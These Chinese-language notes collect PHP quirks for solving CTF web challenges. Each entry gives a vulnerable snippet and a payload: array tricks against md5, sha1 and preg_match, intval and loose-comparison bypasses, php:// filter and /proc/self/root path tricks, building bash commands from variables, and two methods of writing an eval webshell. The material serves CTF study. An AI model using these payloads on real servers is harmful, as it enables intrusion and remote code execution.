PHP特性总结

1、数组绕过正则表达式

```
if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
else(intval($num)){
        echo $flag;
    }
```

preg_match第二个参数要求是字符串，如果传入数组则不会进入if语句

payload:`num[]=1`

2、intval函数的使用

```
intval( mixed $value, int $base = 10) : int
```

如果 base 是 0，通过检测 value 的格式来决定使用的进制：
◦ 如果字符串包括了 “0x” (或 “0X”) 的前缀，使用 16 进制 (hex)；否则，
◦ 如果字符串以 “0” 开始，使用 8 进制(octal)；否则，
◦ 将使用 10 进制 (decimal)。

```
if($num==="4476"){
        die("no no no!");
    }
if(intval($num,0)===4476){
        echo $flag;
    }
else{
        echo intval($num,0);
    }
```

科学计数法也可以绕过

```
intval('4476.0')===4476     小数点
intval('+4476.0')===4476    正负号
intval('4476e0')===4476     科学计数法
intval('0x117c')===4476     16进制
intval('010574')===4476     8进制
intval(' 010574')===4476    8进制+空格
```

payload:`num=4476.0`

3、正则表达式修饰符

```
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
```

i 不区分(ignore)大小写；m多(more)行匹配，若有换行符则以换行符分割，按行匹配

payload:`%0aphp`,第一行匹配换行后有php故通过，第二个不符合php开头php结尾故不通过

4、highlight_file路径

highlight_file的参数可以是路径的

```
if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
```

if语句只比对字符串，highlight_file可以写路径，故payload有多种解法：

```
/var/www/html/flag.php              绝对路径
./flag.php                          相对路径
php://filter/resource=flag.php      php伪协议
```

5、md5比较缺陷

PHP中hash比较是存在缺陷的，MD5无法处理数组，如果传入数组则返回NULL，两个NULL是强相等的

```
if ($_POST['a'] != $_POST['b']){
    if (md5($_POST['a']) === md5($_POST['b'])){
        echo $flag;
    }
else{
    print 'Wrong.';
    }
}
```

不同数据强相等

payload:`a[]=1&b[]=2`

md5弱比较，使用了强制类型转换后不再接收数组

```
$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
```

md5弱比较，为0e开头的会被识别为科学记数法，结果均为0，所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。

不同数据弱相等

payload: `a=QNKCDZO&b=240610708`

MD5等于自身，如`md5($a)==$a`,php弱比较会把0e开头识别为科学计数法，结果均为0，所以此时需要找到一个MD5加密前后都是0e开头的，如`0e215962017`

md5强碰撞

```
$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
```

6、三目运算符的理解+变量覆盖

```
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
```

太经典了，我晕了

第一行，GET被设置，就可以用POST覆盖GET的值。中间两行意义不大，是flag就被COOKIE覆盖，然后被SERVER覆盖，不是flag被赋值flag然后条件成立也是被SERVER覆盖。而且这个被覆盖的GET没有指定，任意都行，第四行才是关键，等于flag就输出flag，不等于显示源码。所以只需要传入一个任意的GET保证`$_GET`是被设置的。然后POST一个覆盖它

payload:`get：1=1 post：HTTP_FLAG=flag`

7、php弱类型比较

经典

```
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
```

弱比较字符串1.php与1返回true。`array_push`这个函数往里填数字1，则是int类型，in_array使用的就是==弱比较。所以，如果数组里有数字1，与字符串1.php比较时是返回true的。注意，$array(1 , ‘2’ , ‘3’)，这里1是int型，2和3都是string类型。

这道题，每次生成随机数都包含1，所以1在数组中的可能最大。

payload:`n=1.php post:content=<?php eval($_POST[1]);?>`多试几次，然后蚁剑直接连

8、and与&&的区别

```
<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false
```

9、反射类ReflectionClass

反射类还不太懂，但做过题都是直接输出这个类`echo new ReflectionClass('类名');`

10、is_numeric与hex2bin

is_numeric在PHP5中是可以识别十六进制的，hex2bin参数不能带0x

11、sha1比较缺陷

sha1无法处理数组，如下可使用a[]=1&b[]=1数组绕过

```
if($a==$b){
    if(sha1($a)==sha1($b)){
        echo $flag;
    }
}
```

但MD5或者sha1这种如果强制类型转换后，就不接受数组了，这个时候就要找真正的编码后相同的了，如

```
aaroZmOk`
`aaK1STfY`
`aaO8zKZF`
`aa3OFF9m
```

12、PHP双$（$$）的变量覆盖

在双写$的时候，属于动态变量，就是后面的变量值作为新的变量名

```
$test="a23";     $test等于a23
$$test=456;          $$test也就等于$23,这里相当于给$a23赋值了
echo $test;          正常输出$test为a23
echo $$test;     这里输出$$test，就是$a23，为456
echo $a23;           第二行给$a23赋值了，这里正常输出
```

13、parse_str函数的使用

parse_str会把字符串解析为变量，大部分是传入的多个值

```
$a="q=123&p=456";
parse_str($a);
echo $q;                  输出123
echo $p;                  输出456
parse_str($a,$b);           第二个参数作为数组，解析的变量都存入这个数组中
echo $b['q'];               输出123
echo $b['p'];               输出456
```

php8版本必须要有第二个参数，php7不影响使用但会警告一下

14、ereg %00正则截断

ereg PHP5.3废弃了，功能可以由preg_match代替，ereg有个截断漏洞，字符串里包括%00就只匹配%00之前的内容。所以可以前面根据正则改，后面是执行语句，如果有strrev() 这种字符串反转函数配合用更好。

15、迭代器获取当前目录

FilesystemIterator可以获得文件目录，参数需要 `.` 或者具体路径，getcwd()这个函数可以获取当前文件路径，二者在一定条件下配合使用较好

16、$GLOBALS全局变量的使用

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

构造出var_dump($GLOBALS);可以输出全部变量值，包括自定义

17、php伪协议绕过is_file highlight_file对于php伪协议的使用

is_file判断给定文件名是否为一个正常的文件，返回值为布尔类型。is_file会认为php伪协议不是文件。但highlight_file认为伪协议可以是文件。

```
if(! is_file($file)){
    highlight_file($file);
}else{
    echo "hacker!";
}
```

如上的代码，可以传入php伪协议进行绕过并且显示含有flag的文件。若有过滤，可以换其他伪协议或改编码方式

18、多写根目录绕过is_file

在linux中/proc/self/root是指向根目录的，也就是如果在命令行中输入ls /proc/self/root，其实显示的内容是根目录下的内容
多次重复后绕过is_file的具体原理尚不清楚。如上面的代码，也可以用下面payload代替

```
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/
proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/s
elf/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/ro
ot/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/var/www/html/flag.php
```

这个按理说也是文件的，但is_file认为不是

19、trim函数的绕过+is_numeric绕过

这两个函数一起检测时，`is_numeric`认为内容里有%09 %0a %0b %0c %0d %20也算数字，跟trim一起测试一下

```
for ($i=0; $i <=128 ; $i++) {
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}
```

除了+-.号以外还有只剩下%0c也就是换页符了，trim默认时没有剔除%0c。形如以下代码可以绕过

```php
if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}
```

payload:`num=%0c36`

20、绕过死亡die

```php
function filter($x){

 if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
```

这道看了羽师傅wp，过滤了许多协议，这是取一个 UCS-2LE UCS-2BE

```
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
```

这会将字符两位两位交换，file_put_contents在写入的时候会破坏那句die，但contents那句恢复原貌，可以执行

21、通过内置bash命令构造命令

在许多命令被过滤时，可以一个字母一个字母得构造，而这些字母从内置变量里面截，比如构造`nl`，可以写为下面这种方式

```
${PATH:14:1}${PATH:5:1}
```

在linux中可以用`~`获取变量的最后几位，也可以写为`${PATH:~0}${PWD:~0}`，字母与0作用一样，`${PATH:~A}${PWD:~A}`也是nl，flag.php也过滤了的话可以用????.???，具体情况，具体对待

22、PHP变量名非法字符

比如传入AA_BB.CC这个变量，PHP是不允许变量名中含有`.`的，会默认将不合法字符替换为`_`,如下：

```
<?php
var_dump($_POST);
?>
传值：AA.BB.CC=14
输出：array(1) { ["AA_BB_CC"]=> string(2) "14" }
```

但输入`AA[BB.CC`它就只替换`[`输出 array(1) { [“AA_BB.CC”]=> string(2) “14” }

23、gettext拓展的使用

```
var_dump(call_user_func($f1,$f2));
```

如以上代码，多重过滤后，f1可以为`gettext`，f2可以为`phpinfo`，如果过滤更为严格，更改ini文件里的拓展后，`_()`等效于`gettext()`

```
<?php
echo gettext("phpinfo");
结果  phpinfo

echo _("phpinfo");
结果 phpinfo
```

24、正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击（reDOS），给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万，preg_match 将不再返回非 1 和 0，而是 false。

也就是说前面100万个字母，后面是语句就好，如下面的例子

```
if(preg_match('/.+?ABC/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ABC') === FALSE){
        die('bye!!');
    }
    echo $flag;
```

前面100万个字母后面ABC就可以echo $flag

25、调用类中的函数

->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法

也就是说双冒号不用实例化类就可以调用类中的静态方法

```php
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
call_user_func($_POST['ctfshow']);
```

这个传入ctfshow=ctfshow::getFlag即可

26、return绕过

`eval("return 1;phpinfo();");`会发现是无法执行phpinfo()的，但是php中有个有意思的地方，数字是可以和命令进行一些运算的，例如 `1-phpinfo();`是可以执行phpinfo()命令的。